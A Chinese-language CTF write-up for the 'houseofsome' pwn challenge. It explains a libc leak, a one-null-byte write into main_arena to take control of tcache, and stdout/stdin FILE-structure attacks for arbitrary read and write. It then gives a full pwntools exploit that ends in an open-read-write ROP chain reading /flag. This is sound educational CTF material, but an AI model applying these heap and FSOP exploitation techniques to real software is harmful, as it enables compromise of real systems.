2023年春秋杯网络安全联赛冬季赛pwn方向houseofsome-WriteUps
- 2023年春秋杯网络安全联赛冬季赛 pwn 方向
HouseofSome
, 题解
程序保护和沙箱
菜单功能 泄露libc上的地址
-
scannf("%ldd",&xx)
传入-
后面报错 会给出libc上的地址
draw功能 任意地址写一个NULL 字节
- 通过上面泄露的
_IO_2_1_stdin_
地址,我就基本上可以利用draw
功能在 libc可写的地方写入一个NULL字节,写到哪里呢??
- 写 到 main_arena + 1 (add 一个堆块 保证 top_chunk 的低地址是 0x00)
- 需要爆破一点 保证 heap 地址起始是
heap_base & 0xFFFF == 0x0000
,然后攻击main_arena+1
的 位置 写 0x00 (利用 draw任意地址写 one null 字节, ) -
这样的话
top_chunk
就会指定 heap 的起始位置 也就是tcachebins
结构体,下一次申请堆块的时候就可以 控制tcachebins
结构体了,从而达到任意地址申请 - 攻击成功后 main_arena 地址就指向了 heap_base , 也就是 修改了 top_chunk 的起始地址,申请的时候就会申请到 tcachebins 结构体上.
控制 tcachebins 结构体
- 攻击 tcache结构体 ,控制链表数量和申请的地址
任意读,任意写
-
首先利用
_IO_2_1_stdout_
泄露environ
也就是栈地址 -
有了 stack地址 下一步就是利用
_IO_2_1_stdin_
任意地址写入, 在read 返回地址写 ORW_ROP
1
2
p *(struct _IO_FILE_plus *) &_IO_2_1_stdout_
p *(struct _IO_FILE_plus *) &_IO_2_1_stdin_
- 攻击
_IO_2_1_stdout_
,_IO_2_1_stdin_
,fake_IO_FILE
1
2
3
4
5
6
7
8
9
10
11
12
# 攻击 _IO_2_1_stdout_ 任意地址内容泄露
environ = libc.sym['environ']
pay = p64(0xFBAD1800) + p64(0) * 3 + p64(environ) + p64(environ+8)
add(0x240,pay)
stack = uu64(ru('1. ')) - 2408 + 0x18 # read 的返回地址
lss('stack')
# 攻击 _IO_2_1_stdin_ 任意地址写入内容
pay = p64(0xfbad1800) + p64(0) * 6 + p64(stack) + p64(stack + 0x400)
add(0x350,pay)
最后的利用脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
from pwn import *
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
elif args.RE:
return remote()
else:
return process([binary] + argv, *a, **kw)
binary = './houseofsome'
libelf = './libc.so.6'
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)
gdbscript = '''
brva 0x000163A
brva 0x000001875
brva 0x1804
#continue
'''.format(**locals())
for i in range(100):
#io = process(binary)
#io = process('./test/houseofsome')
io = remote('39.106.48.123', 33789)
def add(size,name,i=1):
ru('> ')
sl((i-1)*'0' + '1')
ru('size> ')
sl(str(size))
ru('name> ')
sl(name)
def x_dev(dev):
ru('> ')
sl('2')
ru('dev> ')
sl(str(dev))
def draw(offset,l):
ru('> ')
sl('3')
ru('offset> ')
sl(str(offset))
ru('length> ')
sl(str(l))
def show():
ru('> ')
sl('4')
sl('-') ##
ru('invalid option ')
x = int(ru('.\n'))
libc_base = x - 2095008 - 0x21000
lss('libc_base')
pay = p64(libc_base) * 0x40
libc = ELF('./libc.so.6')
libc.address = libc_base
read = libc.sym['read']
setcontext = libc.sym['setcontext']
_IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']
_IO_2_1_stderr_ = libc.sym['_IO_2_1_stderr_']
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']
_IO_list_all = libc.sym['_IO_list_all']
environ = libc.sym['environ']
#pay = p64(0) * 14
#pay += p64(0x414243) + p64(0x0000000100000000)
#pay = pay.ljust(0x100,b'\x00')
##pay += p64(0) * (64)
##pay += p64(0x414243) + p64(0x0000000100000000)
##pay = pay.ljust(0x2f0,b'\x00')
#pay = pay * 0x20
#add(0x2000,pay)
#add(0x2000,pay)
#
add(0x380,'1234')
x_dev(2)#
target = libc_base + 2092288+0x21000 + 1# main_arena
#target = read
offset = target - 0x114514000
lss('libc_base')
lss('target')
lss('offset')
lss('_IO_2_1_stdout_')
#gdb.attach(io)
#
#add(0x3a0,b'\x00'*(0x380-0x88)+p64(0x20031)+b'\x00'*0x28+p64(0x20001))
#gdb.attach(io,gdbscript)
#gdb.attach(io)
draw(offset,1)
try:
#pay = flat({
# 0x00: 0,
# 0x46: 0x010001,
# 0x198: 0x114514000,
# 0x1a0:_IO_2_1_stdout_
#},filler=b"\x00")
#pay = flat({
# 0x00: 0,
# 0x46: 0x010001,
# 0x198:_IO_2_1_stdout_+0x68,
# 0x1a0: 0x114514010
#},filler=b"\x00")
pay = flat({
0x00: 0,
0x46: 0x01,
0x68: 0x01,
0x198:_IO_2_1_stdout_,
0x220:_IO_2_1_stdin_
},filler=b"\x00")
# tcachebins
# 0x250 [ 1]: 0x7ff31e1ff808 (_IO_2_1_stdout_+104) ◂— 0x7ff4e12e0b3f
# 0x360 [ 1]: 0x114514010 ◂— 0x114514
# 0x390 [ 0]: 0x51
add(0x230,pay)
sl('00')
ru('> ')
lss('libc_base')
lss('target')
lss('offset')
lss('_IO_2_1_stdout_')
environ = libc.sym['environ']
pay = p64(0xFBAD1800) + p64(0) * 3 + p64(environ) + p64(environ+8)
add(0x240,pay) # 攻击 _IO_2_1_stdout_ 任意地址内容泄露
stack = uu64(ru('1. ')) - 2408 + 0x18
lss('stack')
pay = p64(0xfbad1800) + p64(0) * 6 + p64(stack) + p64(stack + 0x400)
#gdb.attach(io)
add(0x350,pay) # 攻击 _IO_2_1_stdin_ 任意地址写入内容
#栈上 ORW_ROP
pause()
## ORW_ROP
libc_rop = ROP(libc)
rax = libc_rop.find_gadget(['pop rax','ret'])[0]
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
#rdx = libc_rop.find_gadget(['pop rdx','ret'])[0]
rdx = libc_base + 0x0000000000096272 #pop rdx ; or al, 0 ; ret
#rdx = libc_rop.find_gadget(['pop rdx','pop rbx','ret'])[0]
syscall = libc_rop.find_gadget(['syscall','ret'])[0]
orw_rop_addr = stack
orw_rop = p64(rdx) + p64(0) + p64(rax) + p64(2) + p64(rdi) + p64(orw_rop_addr+0xb8) + p64(rsi) + p64(0) + p64(syscall)
orw_rop += p64(rdx) + p64(0x100) + p64(rdi) + p64(4) + p64(rsi) + p64(orw_rop_addr+0xb8) + p64(libc.sym['read'])
orw_rop += p64(rdx) + p64(0x100) + p64(rdi) + p64(1) + p64(rsi) + p64(orw_rop_addr+0xb8) + p64(libc.sym['write'])
orw_rop += b'/flag'.ljust(0x10,b'\x00')
sl(orw_rop)
io.interactive()
except:
io.close()
continue
参考出题人博客的houseofsome
1
https://blog.csome.cc/p/house-of-some/#FSOP%EF%BC%81
本文由作者按照
CC BY 4.0
进行授权